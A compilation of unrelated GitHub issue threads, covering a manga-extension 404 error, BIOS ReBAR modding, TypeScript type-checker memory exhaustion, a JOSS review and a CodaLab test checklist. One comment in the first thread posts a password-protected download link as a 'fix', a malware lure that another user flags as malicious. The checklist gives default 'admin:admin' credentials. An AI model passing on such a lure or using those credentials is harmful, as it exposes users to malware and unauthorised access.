Slime Read (PT-Br Source) Error HTTP 404

Source information
SlimeRead 1.4.12
Source language
Portuguese Brazilian
Steps to reproduce
When entering the source, an HTTP 404 error appears.

Expected behavior
Enter and see the contents of the source.
Actual behavior
HTTP error 404 appears.
Mihon/Tachiyomi version
0.16.5
Android version
Android 12
Other details
No response
Acknowledgements

[X] I have searched the existing issues and this is a new ticket, NOT a duplicate or related to another open or closed issue.
[X] I have written a short but informative title.
[X] I have updated the app to version 0.15.3.
[X] I have updated all installed extensions.
[X] I have tried the troubleshooting guide.
[X] If this is an issue with the app itself, I should be opening an issue in the app repository.
[X] I will fill out all of the requested information in this form.

Open the source in WebView or open it in your own browser

Open the source in WebView or open it in your own browser

It opens in WebView or another browser, but it doesn't open normally in the app.

You might be looking at a cached page

You might be looking at a cached page

I have already cleared the cash and it continues to enter normally through WebView and browser. It is even possible to log in to the website.

Maybe geo-blocking then, gotta wait for someone who can access the site to see if there's some sort of issue

De primeira
Obs: recomendo que vc entra no discord das extensão, pra ver se houve alguma coisa com site

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

Don't touch the message above, it is a malicious file.

De primeira
Obs: recomendo que vc entra no discord das extensão, pra ver se houve alguma coisa com site

Vai na aba popular vê se abre!

PopularManga URL has been removed.

PopularManga URL has been removed.

Isso!

PopularManga URL has been removed.

É fácil de concertar?


Fix non admin logouts

Description
If a user (non-admin) logs out from a session, then login page is not loading completely. Few starter APIs like listIds are failing and showing unauthorised access notification in Login Page. Also if SAML is enabled, it is not getting enabled since the corresponding API are failed. User needs to refresh the browser to get it back.

Types of changes

[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] New feature (non-breaking change which adds functionality)
[x] Bug fix (non-breaking change which fixes an issue)
[ ] Enhancement (improves an existing feature and functionality)
[ ] Cleanup (Code refactoring and cleanup, that may add test cases)
[ ] build/CI

Feature/Enhancement Scale or Bug Severity
Feature/Enhancement Scale

[ ] Major
[ ] Minor

Bug Severity

[ ] BLOCKER
[ ] Critical
[ ] Major
[ ] Minor
[ ] Trivial

Screenshots (if appropriate):
How Has This Been Tested?
Login and logout with non admin users and you dont see any errors in the login page and all applicable login options will be enabled

How did you try to break this feature and the system with this change?

Didn't test it but LGTM

@blueorangutan ui

@rohityadavcloud a Jenkins job has been kicked to build UI QA env. I'll keep you posted as I make progress.

@blueorangutan package

@DaanHoogland a [SF] Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

@blueorangutan LLtest

Since this is strictly UI only change smoketest wasn't required @DaanHoogland

[LL]Trillian test result (tid-6824)
Environment: kvm-centos7 (x2), Advanced Networking with Mgmt server 7
Total time taken: 46025 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr8065-t6824-kvm-centos7.zip
Smoke tests completed. 107 look OK, 1 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

test_03_deploy_vm_wrong_checksum
Error
41.25
test_templates.py

test_09_list_templates_download_details
Failure
0.05
test_templates.py


Fix method declarations so they expect to be called with self

A few methods on services were declared with dot notation, which meant they would have incorrect expectations about their arguments.
I suspect these would have caused problems with the way they were before, and I'm not sure why they didn't. @aportner, can you confirm this doesn't break any of your tests? I know that chat uses some of these functions.

Coverage remained the same at 97.392% when pulling f2ae97cb22bbc4858ff3a9877a92f1d1e85d5d62 on ZoteTheMighty:fix-method-declarations into 0bdd32597dffffe596179116b9d007a62a399ab2 on LPGhatguy:master.

I'll go ahead and merge this; it shouldn't break anything until @aportner upgrades if it does break anything.


Asus Z10PE-D16 WS C612 - ReBAR requires pci=realloc in linux and does not really work in Win10

System

Motherboard: Asus Z10PE-D16 WS - this is dual 2011-3 socket board on C612 PCH
Two Xeon e5-2600v3 (haswell-e) installed
128GB RAM
BIOS Version: 4101
GPU: Intel Arc A770 16GB VRAM attached to NUMA node 2 with x16 link
CSM is turned off in BIOS
4G decoding is enabled in BIOS
UEFIPatch is applied
DSDT Patch not applied as I assumed it is not needed
[x] I have read Common issues (and fixes)

Description
Hey, I'd like to ask for an advice and a feedback. I run Z10PE-D16 WS - it is a dual socket board with 16 memory slots and c612 chipset. BIOS used for modification is v.4101, latest available at asus.com
The intention was to make ReBAR work with ARC A770
Current state:

I've installed UEFI .ffs module as per instructions
UEFI patch applied. The one applied was about whitelisting on x99/c612 motherboads, as reported by hex string
Above 4G decoding enabled
CSM disabled

First step
of enabling resizable BAR was performed in Linux Mint with Kernel v.6.5

If rebarstate variable is set to 0, dmesg shows 256M register size, i915 kernel driver loads successfully
If rebarstate variable is set at any value ranging from 14 to 32, lspci reports that intended BAR size is reported to be 16G in lspci, but i915 kernel driver does not load, dmesg shows conflicts in addresses, stating that there is not enough space to allocate BAR of required size.
If I add pci=realloc to kernel boot parameters, then any value from 14 to 32 in rebarstate works, assigned BAR size is 16G, kernel mode i915 driver is loaded successuly, but I see a bunch of address space reallocations in dmesg.
So to that end adding ReBAR appears to be working provided that pci=realloc is configured during linux boot. However I have an impression that reallocation should not be required.

Second step
Now, to confirm that ReBAR was really working I tried to install a clean Windows 10. At this time Rebarstate is set at 32.

Installation went smoothly, OS booted fine.
Then I've installed Intel's GPU driver. Immediately after installation and before reboot it complained about insufficient resources for the driver to start in the device manager. After reboot Win10 hangs during boot process.
When rebarstate is set to 8, win10 boots fine as it should with the default 256MB BAR
When rebarstate is set to 9, it's the same
When rebarstate is set to 10, motherboard passes post 1 time out of 3, diagnostic codes are pretty messed up
Rebarstate set to 11 would send the board to cyclic reboot until GPU is unplugged, it wouldn't post
When rebarstate is set to 12, MB would post, but win10 would BSOD
With rebar of 13 and above win10 just hangs during boot, no BSOD, no recovery, just locks up requiring hard reset

As a side note, installing win10 with all associated drivers and playing with rebarstate messed post codes. Before win10 post codes as seen on LED display on the MB matched the ones shown on my monitor. After win10 and drivers only onboard display shows correct codes, monitor just shows A9 "Start of setup" code till the end of the post.
So is there something wrong with either resource allocation, or with the way .ffs module behaves on dual-CPU/c612 platforms? I guess this result cannot be considered a complete failure, and yet I would not regard it as a success either. Have I done anything wrong? Can you please share any thoughts or suggestions as to what should be done next? I can provide dmesg or lspci output if needed.

Try changing BIOS settings related to MMIOH, I know X99/C612 have a few options relating to it under IntelRCSetup

Thanks for the advice, will try that. Found two options under IntelRCSetup -> Common RefCode Configuration. They are hidden by default, will need to expose them in AMIBCP in order to play with:

MMIOH Base - seems to default at 56T, options: 56T, 40T, 24T, 16T, 12T, 4T, 2T, 1T
MMIO High size - seems to default at 256G, options: 128G, 256G, 512G, 1024G
Both default values seem pretty high already, should I reduce them? Or try to set MMIOH size to 512G and above and leave 56T Base value alone?

There are other options in BIOS that are PCIe-port specific, about single 64-bit bar or two split 32-bit bars, I tried to play with them briefly, but as far as I can tell those don't affect my problem.
Another question that interests me: does it matter which CPU the GPU is connected to? Do they both share common address space? Do QPI settings and limitations play any role in ReBAR at all?

Hey @xCuri0, so I've done some additional testing.
I have exposed MMIO-related options that seemed to be relevant in BIOS, there were 3 of them:

MMCFG base - set to 2G by default
MMIOH base- set to 56T by default
MMIOH size - there are 4 sizes: 128G, 256G, 512G, 1024G.

I played with all 4 of the "MMIOH size", but none worked without pci=realloc.
Here's dmesg report of the result. Device 85:00 is Intel Arc A770 16G:

If i'm reading this correctly, it appears to be trying to allocate memory starting from address 0x0 and towards higher addresses, not the other way around. In trying to do so it displaces some other devices' memory ranges.
Another interesting thing is that with pci=realloc it succeeds in allocating required BAR size of 16G regardless of rebarstate.
Any ideas as to what I should try next? Why is it trying to allocate memory from low addresses? Is there a way to change this behavior? Is it defined by device driver, OS or UEFI itself?
Can this issue be relevant to QPI and some limitations of how memory is accessed via QPI?
Should I try different brand GPU?

@xCuri0
Some new development here. To ensure that my issues were not hardware-specific, I've managed to obtain AMD RX6900 for testing.
Can report that is was at least some success.

On Windows 10  with RX6900 and this UEFI module ReBAR works successfully with any rebarstate variable above 12. Here's the screenshot of it with rebarstate at 32

On Linux Mint kernel v.6.5 with the same rebarstate amdgpu driver fails to start without pci=realloc kernel parameter - it gets stuck in permanent "amdgpu trn=2 ack should not assert! wait again!" message in dmesg. With pci=realloc it appears to load successfully.

So As far as ReBarUEFI with **Z10PE-D16 WS, we can declare partial success, but not full success.
Whether the new info justifies any updates to this UEFI module or not - not for me to decide. As of now, I think we can close this thread.


StepRunner supports multiple runs

Also move emitting of EventTargetIn to a StepRunner.
This diff is blocking to put all remaining target checks into StepRunner as it removes direct connection between AddTarget function and stepIn channel

I think I have a better idea how to refactor it


[JOSS Review] Summary and statement of need in the paper

Dear author,
The paper is written well, but some minor things can be improved.

The JOSS guidelines require the summary to be “a clear description of the high-level functionality and purpose of the software for a diverse, non-specialist audience”. The current summary is not appropriate for non-specialist audiences and is a bit technical. You may consider moving the functionality and theory to another section and adding a more high-level introduction to GA and the developed library.
“The software is therefore well suited for optimization tasks with computationally expensive fitness functions, where computation time is of the order of magnitude of seconds or more, like ab initio calculations in condensed matter physics." I wonder if there is any correlation between an expensive computation and the order of magnitude of the simulation time in computational sciences. I think this sentence needs a revision since any type of simulation (like a finite element simulation) can be expensive, making the fitness function an expensive expression to evaluate.
For the shown example usages, it can be beneficial to mention explicitly that the figures can be reproduced by running example 1 and example 2. You also need to specify how example 2 should be run to produce the results presented in figure 2 (which may need a script on the repo to reproduce this figure).
I think it is beneficial if you mention the limitations of the library briefly.

P.S. This issue is related to https://github.com/openjournals/joss-reviews/issues/4902

Thank you very much for your feedback! And thank you for your kind words! Description for the non-specialist audience was added. More detailed description was moved into separated section of the paper.

The problematic sentence was revised.

Note about reproducibility of Figure 1 was added.

Note about limitations of the library was added.


how to adjust batch_size?

return torch.layer_norm(input, normalized_shape, weight, bias, eps, torch.backends.cudnn.enabled)

RuntimeError: CUDA out of memory. Tried to allocate 20.00 MiB (GPU 0; 6.00 GiB total capacity; 5.17 GiB already allocated; 0 bytes free; 5.26 GiB reserved in total by PyTorch) If reserved
memory is >> allocated memory try setting max_split_size_mb to avoid fragmentation.  See documentation for Memory Management and PYTORCH_CUDA_ALLOC_CONF
my pc cpu is i7-10870H gpu 1660Ti

It takes more than 11 GB of memory size. It seems that you'll need a memory size greater than 11 GB.

Reducing the batch size may result in a degradation of the output quality.
However, you can try different batch sizes with --batch_size from arguments.py.


End spans/transactions after some time

Is your feature request related to a problem?
We recently had a problem where some threads "deadlocked", thus not ending spans/transactions which are active in those threads.
Describe the solution you'd like
It would be nice, if the agent could end a span/transaction after some (configurable) time.

We already have a start timestamp in the AbstractSpan superclass, so this needs a thread which loops through all active AbstractSpan and ends them if over time. So my initial thought is the following overhead

A new thread which checks every n millis (how often?), runs through the collection and ends any that are timed-out
A collection which holds all active AbstractSpans - so activation adds to the collection, ending removes them
These (thread and collection) are only instantiated if the timeout option is set
Seems like it's an acceptable feature?


Heap out of memory memoryLimit issue in ForkTsCheckerWebpackPlugin

Current behavior

Upgraded to start using electron-webpack and upgraded all our packages to newer versions.
Expected behavior

Typescript and webpack should compile code
Steps to reproduce the issue

use electron webpack with typescript?
Issue reproduction repository

Environment

fork-ts-checker-webpack-plugin: [version from the package.json]
in node modules under /electron-webpack-ts/package.json
fork-ts-checker-webpack-plugin: 0.5.2
typescript: [version from the package.json]
typescript: 3.4.5
tslint: [version from the package.json]
"tslint": "^5.14.0",
webpack: [version from the package.json]
"webpack": "4.28.4"
os: [e.g. Ubuntu 19.04]
Ubuntu 18.04

<--- Last few GCs --->

[8366:0x3f04ad0]    23325 ms: Mark-sweep 2042.0 (2085.7) -> 2041.3 (2086.2) MB, 734.9 / 0.0 ms  (average mu = 0.102, current mu = 0.013) allocation failure scavenge might not succeed
[8366:0x3f04ad0]    24138 ms: Mark-sweep 2043.2 (2086.2) -> 2042.5 (2087.2) MB, 807.7 / 0.0 ms  (average mu = 0.055, current mu = 0.007) allocation failure scavenge might not succeed

<--- JS stacktrace --->

==== JS stack trace =========================================

    0: ExitFrame [pc: 0x309d6aa5be1d]
    1: StubFrame [pc: 0x309d6aa5d1df]
Security context: 0x124119b1e6e9 <JSObject>
    2: getIntersectionType(aka getIntersectionType) [0x1a0a8652b3a1] [/home/marcus/work/ClientElectron/node_modules/typescript/lib/typescript.js:~39985] [pc=0x309d6b65f1d2](this=0x0d5af00026f1 <undefined>,types=0x3352c04a57b9 <JSArray[23]>,aliasSymbol=0x0d5af00026f1 <undefined>,aliasTypeArguments=0x0d5af00026f1 <undefine...

FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory
 1: 0x8dc510 node::Abort() [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 2: 0x8dc55c  [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 3: 0xad9b5e v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, bool) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 4: 0xad9d94 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, bool) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 5: 0xec7bf2  [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 6: 0xec7cf8 v8::internal::Heap::CheckIneffectiveMarkCompact(unsigned long, double) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 7: 0xed3dd2 v8::internal::Heap::PerformGarbageCollection(v8::internal::GarbageCollector, v8::GCCallbackFlags) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 8: 0xed4704 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
 9: 0xed7371 v8::internal::Heap::AllocateRawWithRetryOrFail(int, v8::internal::AllocationSpace, v8::internal::AllocationAlignment) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
10: 0xea07f4 v8::internal::Factory::NewFillerObject(int, bool, v8::internal::AllocationSpace) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
11: 0x114018e v8::internal::Runtime_AllocateInNewSpace(int, v8::internal::Object**, v8::internal::Isolate*) [/home/marcus/.nvm/versions/node/v10.15.3/bin/node]
12: 0x309d6aa5be1d

Error from running electron-webpack dev
┏ Renderer -------------------

  Type checking and linting aborted - probably out of memory. Check `memoryLimit` option in ForkTsCheckerWebpackPlugin configuration.

┗ ----------------------------
┏ Main -----------------------

  Type checking and linting aborted - probably out of memory. Check `memoryLimit` option in ForkTsCheckerWebpackPlugin configuration.

┗ ----------------------------

Could be worth upping your memoryLimit
https://github.com/Realytics/fork-ts-checker-webpack-plugin/blob/master/README.md#options

@johnnyreilly  I moved the memory to 8192 but still failed with the same error just takes a little longer. I believe after talking to someone from electron-webpack that my issue could be a memory leak having to do with Typescript itself.

@johnnyreilly I also made a simple repo with what I used. It works just fine. However as I add more reducers/Actions the application then crashes with the same error.

@marcusjwhelan could you share that repro so I could take a peek? (No guarantees though.) Sometimes there are just TS patterns that lead to a looot of memory consumption.

@phryneas  https://github.com/electron-userland/electron-webpack/issues/280
https://github.com/marcusjwhelan/testingproj
While using electron-webpack is how I get this issue. That link to that project, that project works just fine, however, as you add more redux/actions to the structure of the application it will memory leak out, No matter the memoryLimit set.

First thing I am noticing: you are including all .d.ts in node_modules which will include these in the typecheck - usually those should be automatically included as they are the default value of typeRoots. Does everything keep working when you remove them from include in the tsconfig.json? If not, try using compilerOptions.typeRoots instead of include for those

I'm considering a skipLibCheck tattoo. Or I would be if I wasn't already filled with regret about the noImplicitAny one I got one drunken night in 2014

Apart from skipLibCheck and the node_modules thing I don't see anything glaring. That project is not using much advanced type magic, so I don't understand it could take so long. But this is definitely a TypeScript problem - maybe you could open an issue over there? A project of that size should not consume that many resources.

Another thing that just came up in a conversation with colleague: you should not import from @material-ui/icons directly.
Do import Close from "@material-ui/icons/Close"; instead of import {Close} from '@material-ui/icons'
maybe that helps

Also, you might consider downgrading to TS 3.3: https://github.com/Microsoft/TypeScript/issues/30663

I just upgraded to the new version today and I have the same problem.
I tried to increase the memory, and roll back the ts version, there is no way to solve it.
  new ForkTsCheckerWebpackPlugin({ checkSyntacticErrors: true, memoryLimit: 5000 }),

Could you please specify, which packages exactly you updated and from which to which version?

did you only upgrade fork-ts-checker-webpack-plugin?
did you also upgrade typescript?

I am testing.
When I upgraded from 0.5.2 to the latest version.
     "fork-ts-checker-webpack-plugin": "^0.5.2",
Originally it took 11s, and it became 13s after the upgrade.

Node12
Typescript 3.3.4000
The latest fork-ts-checker-webpack-plugin
There will be no memory explosion problems.
I tried what it was caused.

This is a magical problem, I also encountered, I tried to roll back the package, but it will also trigger the problem of insufficient memory.
And I can compile smoothly on another computer.

tsc --noEmit
I use this script to get the same result, should it be the error caused by typescript?

Exactly. That's why I'm asking about your TS version - 3.4 seems to have some problems regarding performance.

tsc --noEmit
I use this script to get the same result, should it be the error caused
by typescript?

--
Sent from my Android phone with K-9 Mail. Please excuse my brevity.

3.3.x If properly installed, it will not cause memory leaks.
Originally I may not have correctly rolled back the typescript version.
Type checking can be done when npm i<EMAIL_ADDRESS>is used correctly.
So I think it might be a typescript 3.4.x and 3.5.x error.
Because I run tsc --noEmit, I get the same result.

It should be the problem of this.
https://github.com/microsoft/TypeScript/issues/31227
use
npm i<EMAIL_ADDRESS>to solve the problem

I tried all versions after 3.3.400 and they all had the same issue. So sticking with TS 3.3.4 for now

Working flawlessly for me after upping the memoryLimit on the plugin itself via React App Rewired. (Because it forks, adjusting memory settings on the parent process don't help.)
config-overrides.js
https://gist.github.com/edwingustafson/ee786fe26c6a7fae394321a892698f64
Discovered my confusion by inspecting the command line via ps wwwaux on my development box: it showed the plugin's process getting the default memory limit as a command line option.

I had made a copy of the node_modules folder in the same directory that led to me getting this error.  Deleting the copied folder resolved it for me.

@Chnapy I'm having the same issue
I have turned off
"strict": false,
"strictNullChecks": false,
"strictPropertyInitialization": false,

and it's working
using typescript 3.7.5
and fork-ts-checker-webpack-plugin 4.0.3

Did someone managed to fix this issue?

Could you try fork-ts-checker-webpack-plugin@alpha? I've published a new version which potentially could resolve this issue :)

I unfortunately am unable to utilize fork-ts-checker-webpack-plugin version 5.x to set the memoryLimit in my Create React App TypeScript project, because Create React App presently (3.x, 4.x-alpha) targets the fork-ts-checker-webpack-plugin  4.x configuration schema:
ValidationError: Invalid configuration object. ForkTsCheckerWebpackPlugin has been initialized using a configuration object that does not match the API schema.
 - configuration has an unknown property 'silent'. These properties are valid:
   object { async?, typescript?, eslint?, formatter?, issue?, logger? }
 - configuration.typescript should be one of these:
   boolean | object { enabled?, memoryLimit?, configFile?, context?, build?, mode?, compilerOptions?, diagnosticOptions?, extensions?, profile?, … }
   Details:
    * configuration.typescript should be a boolean.
      -> Enable TypeScript reporter.
    * configuration.typescript should be an object:
      object { enabled?, memoryLimit?, configFile?, context?, build?, mode?, compilerOptions?, diagnosticOptions?, extensions?, profile?, … }

This thread did help me however in setting the memory limit and compiling in isolation:
NODE_OPTIONS=--max-old-space-size=8192 node_modules/.bin/tsc --noEmit
... which helped me determine that I have a memory problem regardless of the memory limit: 2GB, 4GB, 8GB - same result.
So to anyone trying to override the memory limit, investigate the cause rather than to suppress the symptoms.

@jorisw have you found a solution to this? Getting the same error

In my case, I was importing style object defintions targeting ThemeUI, each typed as a SxStyleProp, then doing composition with the import objects to create different styles for different states, like so:
export const someStyle: SxStyleProp {
   maxWidth: 300,
}

import {
  someStyle
} from './styles'

const manyStyles: SxStyleProp = {
  ...someStyle,
  ...(isActive ? someMoreStyles : {}),
  ...
}

Apparently importing and composing these typed objects made the typechecker go into a memory leak of some sort. Removing the : SxStyleProp typing from each of my exported objects, made the problem go away.
As you can see, a pretty specific use case, so our problems are likely to be very different.

Turns out the problem I was having, was related to TypeScript being bad at handling use of the spread (...) operator on objects that have union types. Using Object.assign() instead fixes it.
Discussion: https://github.com/system-ui/theme-ui/discussions/1162#discussioncomment-59480

I had made a copy of the node_modules folder in the same directory that led to me getting this error. Deleting the copied folder resolved it for me.

For anyone seeing this issue in cases where it doesn't seem related to a specific commit (i.e. roll-back doesn't work), I would light to highlight this solution. Due to some unrelated permissions issues I had temporarily made a copy of node_modules which led to this out-of-memory issue.

I had made a copy of the node_modules folder in the same directory that led to me getting this error. Deleting the copied folder resolved it for me.

For anyone seeing this issue in cases where it doesn't seem related to a specific commit (i.e. roll-back doesn't work), I would light to highlight this solution. Due to some unrelated permissions issues I had temporarily made a copy of node_modules which led to this out-of-memory issue.

Thank you for sharing this solution. It worked for me.

I had made a copy of the node_modules folder in the same directory that led to me getting this error. Deleting the copied folder resolved it for me.

For anyone seeing this issue in cases where it doesn't seem related to a specific commit (i.e. roll-back doesn't work), I would light to highlight this solution. Due to some unrelated permissions issues I had temporarily made a copy of node_modules which led to this out-of-memory issue.

Thank you for sharing this solution. It worked for me.

I had made a copy of the node_modules folder in the same directory that led to me getting this error. Deleting the copied folder resolved it for me.

Thanks @fc, this solved the problem.

using material ui and CRA, I run out of memory whenever I use styled components:
import Typography from '@mui/material/Typography';
import { styled } from '@mui/system';

const UnderlinedText = styled(Typography)({
    marginTop: '10px',
    color: 'rgba(0, 105, 165, 1)',
    textDecoration: 'underline',
    marginBottom: '15px',
});

export default UnderlinedText;

@ChuckJonas This is most likely a TypeScript issue :)

Do import Close from "@material-ui/icons/Close"; instead of import {Close} from '@material-ui/icons'

Hi @phryneas
This is interesting, can you please explain (or link) the difference ?
I'm using the latter in my project to reduce the number of lines of imports, but consider changing for the former if it helps reducing the RAM consumption.

@Mikado68 this issue is 3 years old, no idea if that is still relevant. By then it was the difference between importing all icons (that file as non-treeshakable) and only one.

This helped me, thanks. I was trying to figure out why it kept crashing, and didn't think about mui. Of course!

I had made a copy of the node_modules folder in the same directory that led to me getting this error. Deleting the copied folder resolved it for me.

Thank you very much for this @fc !
Thanks to me getting around too late to attr -s com.dropbox.ignored -V 1 node_modules aka ignoring node_modules on a new machine, it created a node_modules (Ignored Item Conflict) in the same folder.
This caused "issues checking in progress..." to take a minute or two and then OOM, whereas usually it takes a few seconds and does not OOM.

Hey guys, has anyone been able to fix the type checking memory leak issue?

In my case, I was importing style object definitions targeting ThemeUI, each typed as a SxStyleProp, then doing composition with the imported objects to create different styles for different states, like so:
export const someStyle: SxStyleProp {
   maxWidth: 300,
}

import {
  someStyle
} from './styles'

const manyStyles: SxStyleProp = {
  ...someStyle,
  ...(isActive ? someMoreStyles : {}),
  // ...
}

Apparently importing and composing these typed objects made the typechecker go into a memory leak of some sort. Removing the : SxStyleProp typing from each of my exported styles in styles.ts, made the problem go away.
As you can see, a pretty specific use case, so our problems are likely to be very different.

Wrestled with this issue for quite some time in a Create React App TypeScript project with MUI. Seeing you reference SxProps made me scan my project for places I was including it. Sure enough, I defined a Type that extended a MUI component and defined an optional sx property (probably wrote the Type before making it extend the MUI component). Removing the override solved the problem 😄
import { LoadingButtonProps } from '@mui/lab';

type ComponentProps = LoadingButtonProps & {
    sx?: SxProps; // This was the problem!
};

@the-rpc we were having a similar issue with a CRA with Typescript project using MUI v6!!
You helped us pin the same issue we were experiencing when executing react-scripts build: importing SxProps directly from import { SxProps } from '@mui/system'; or even import { SxProps } from '@mui/materials/styles'; resulted in a memory leak!
The solution was to import sx's type directly from the MUI component, for instance SelectProps['sx'], ButtonProps['sx'] etc.... 😅
I hope MUI can fix the way they export their types...

Just in case it helps someone:
The issue in my case was in extending a component from our internal library using styled(Component). The component itself uses Radix under the hood, which uses some complicated types, so I assume that's what was causing the memory leak.
It appeared after bumping all the deps to latest, such as styled 5 => 6 and ts 4.x.x => 5.1.6

No meu caso, eu estava importando definições de objetos de estilo visando ThemeUI, cada um digitado como um SxStyleProp, então fazendo composição com os objetos importados para criar estilos diferentes para estados diferentes, assim:
export const someStyle: SxStyleProp {
   maxWidth: 300,
}

import {
  someStyle
} from './styles'

const manyStyles: SxStyleProp = {
  ...someStyle,
  ...(isActive ? someMoreStyles : {}),
  // ...
}

Aparentemente, importar e compor esses objetos digitados fez com que o verificador de tipo entrasse em algum tipo de vazamento de memória. Removendo o : SxStyleProp digitando de cada um dos meus estilos exportados em styles.ts, fez o problema desaparecer.
Como você pode ver, um caso de uso bastante específico, então nossos problemas provavelmente serão muito diferentes.

Lutou com esse problema por algum tempo em um projeto Create React App TypeScript com MUI. Vendo sua referência SxProps fez-me analisar o meu projecto em busca de lugares onde o estava a incluir. Com certeza, eu defini um Tipo que estendeu um componente MUI e definiu um opcional sx propriedade (provavelmente escreveu o Tipo antes de fazê-lo estender o componente MUI). Remover a substituição resolveu o problema 😄 Obrigado @jorisw
import { LoadingButtonProps } from '@mui/lab';

type ComponentProps = LoadingButtonProps & {
    sx?: SxProps; // This was the problem!
};

I can't believe that was it, it solved my problem, thanks

Incase this helps anyone. I found the culprit by using tsc.
I used the command: npx tsc --build --verbose --generateTrace outputTraceFolder
Which generated some log files in outputTraceFolder, in which contained a very obvious issue with 1 particular file near the end
{"pid":1,"tid":1,"ph":"X","cat":"check","ts":7259569.7770006955,"name":"checkExpression","dur":1738.5889999568462,"args":{"kind":286,"pos":221,"end":232,"path":"APPDIR/src/components/Buttons/SubmitButton.stories.tsx"}},
{"pid":1,"tid":1,"ph":"X","cat":"checkTypes","ts":7309932.787999511,"name":"structuredTypeRelatedTo","dur":2612.135000526905,"args":{"sourceId":42066,"targetId":41975}},

that second line was repeated into infinity until the log just ended like 5,000 lines later.
I went to that file on line 1 above, and that file was doing something strange:
const Template: Story<Parameters<typeof SubmitButton>[0]> = props => ...

Changed it to use the actual type def for the SubmitButton instead of this attempt with the Parameters and what-not.
Fixed her right up


Isabelle Review Comp Editor

Review here:
http://<IP_ADDRESS>/
login
admin:admin
Acceptance Criteria
General

[ ] Save and publish saves comp, publishes comp, takes you to comp detail page
[ ] Save as draft saves comp, does not publish it, keeps you on the edit page
[ ] Discard changes takes you back to competition list page and does not save the comp
[ ] Comp edit form can be reached from:

[ ] Competition list page via "edit" button on competition row
[ ] Competition list page via "create" button
[ ] Admin tab of competition detail page

http://<IP_ADDRESS>/competitions/2/

http://<IP_ADDRESS>/competitions/

http://<IP_ADDRESS>/competitions/edit/2/

Competition Details Tab

[ ] Can change competition title
[ ] Can change competition logo

Pages Tab

[ ] Can Add pages
[ ] Can edit page titles and content
[ ] Can delete pages
[ ] Page content for page at index 0 displayed as valid content w/ xss vulnerabilities removed

[ ] can write html

Phases Tab

[ ] reordering phases changes phase index

Phase Edit modal
Phase details tab

[ ] Change name (required)
[ ] Change Description (required)
[ ] Change start (required)
[ ] Change end
[ ] Valid when all required fields met

Phase Data tab

[ ] Dataset manager button takes you to dataset management page in new tab
[ ] Task Manager button takes you to Task management page in new tab
[ ] Toggle to change between dataset and task/solution style phase. Loads w/ correct value on edit

Toggled off (not task/solution)

[ ] dataset selection form should be present

[ ] filled with correct values if editing

Toggled on (is task/solution)

[ ] Should not save any values in dataset form fields
[ ] Task multi-select field present

[ ] Preselects correct data on edit
[ ] Appropriately searches
[ ] Can select and save multiple tasks
[ ] On edit, can add tasks to phase that already has tasks

Data Tab Validation

[ ] Data tab should validate properly (i.e. save button enabled)

[ ] when task/solution toggle is off and scoring program dataset is set
or
[ ] when task/solution is on and Tasks field has at least 1 value

Leaderboard Tab

[ ] when unsetting a previously set computation field, also unset computation indexes
[ ] when setting computation field, correctly save computation indexes
[ ] correctly fill leaderboard column key when editing leaderboard
[ ] correctly select primary column radio button on edit
[ ] changing primary index radio actually changes primary index

Collaborator Tab

[ ] Selected collaborators listed in table
[ ] Can remove collabs from table
[ ] Search for collabs by username as normal user
[ ] Search for collabs by complete match email address for normal user
[ ] Search for collabs by email partial match for admin
[ ] field errors for adding collab who is already added
[ ] field errors for trying to add yourself as collab
[ ] field errors for trying to add comp creator as collab

UI:

Not sure we want so prominently to advertise on the main page that you can organize competitions. I like the old main page https://competitions.codalab.org/ and the fact to the button to upload competitions is a little hidden.
All top menu functionality is presently inactive and everything available admin the admin pull down. What is the plan?

PAGES:
The problem is that when pages are created they appear nowhere in the competition.
See other comments in https://github.com/codalab/competitions-v2/issues/150
Not sure how we can view/write HTML.
PHASES:
Re-ordering does not seem to work.
We do not see the phase information in the phases tab: impossible to check edits made.
OTHER FEATURES:
I need to be walked through them, difficult to figure out wha to do.


Drop Badger and Redis

@fyrchik, I have it my queue for quite some time already, but #2130 is still open, so we shouldn't be doing this right now.

The way I see it we'll make a final call for this issue with the next release and then if nothing changes remove them in the subsequent one. But we shouldn't be rushing to do this.

Ok, related #2195.


MAPL develop failure running replay

As of this morning, MAPL develop cannot run replay. The traceback with a Debug Intel run is:
pe=00090 FAIL at line=01234    MAPL_Generic.F90                         <status=-1>
pe=00091 FAIL at line=01234    MAPL_Generic.F90                         <status=-1>
pe=00092 FAIL at line=01234    MAPL_Generic.F90                         <status=-1>
pe=00094 FAIL at line=01234    MAPL_Generic.F90                         <status=-1>
pe=00093 FAIL at line=01234    MAPL_Generic.F90                         <status=-1>
pe=00095 FAIL at line=01234    MAPL_Generic.F90                         <status=-1>
SUPERDYNAMICSInitialize                        602
pe=00090 FAIL at line=01752    MAPL_Generic.F90                         <status=-1>
SUPERDYNAMICSInitialize                        602
SUPERDYNAMICSInitialize                        602
SUPERDYNAMICSInitialize                        602
pe=00091 FAIL at line=01752    MAPL_Generic.F90                         <status=-1>
pe=00092 FAIL at line=01752    MAPL_Generic.F90                         <status=-1>
SUPERDYNAMICSInitialize                        602

This is pointing to:
https://github.com/GEOS-ESM/MAPL/blob/936e54950e16aacb8134a5e45acbbbe7361252b9/generic/MAPL_Generic.F90#L1234
which I think is a new routine from the refactoring.

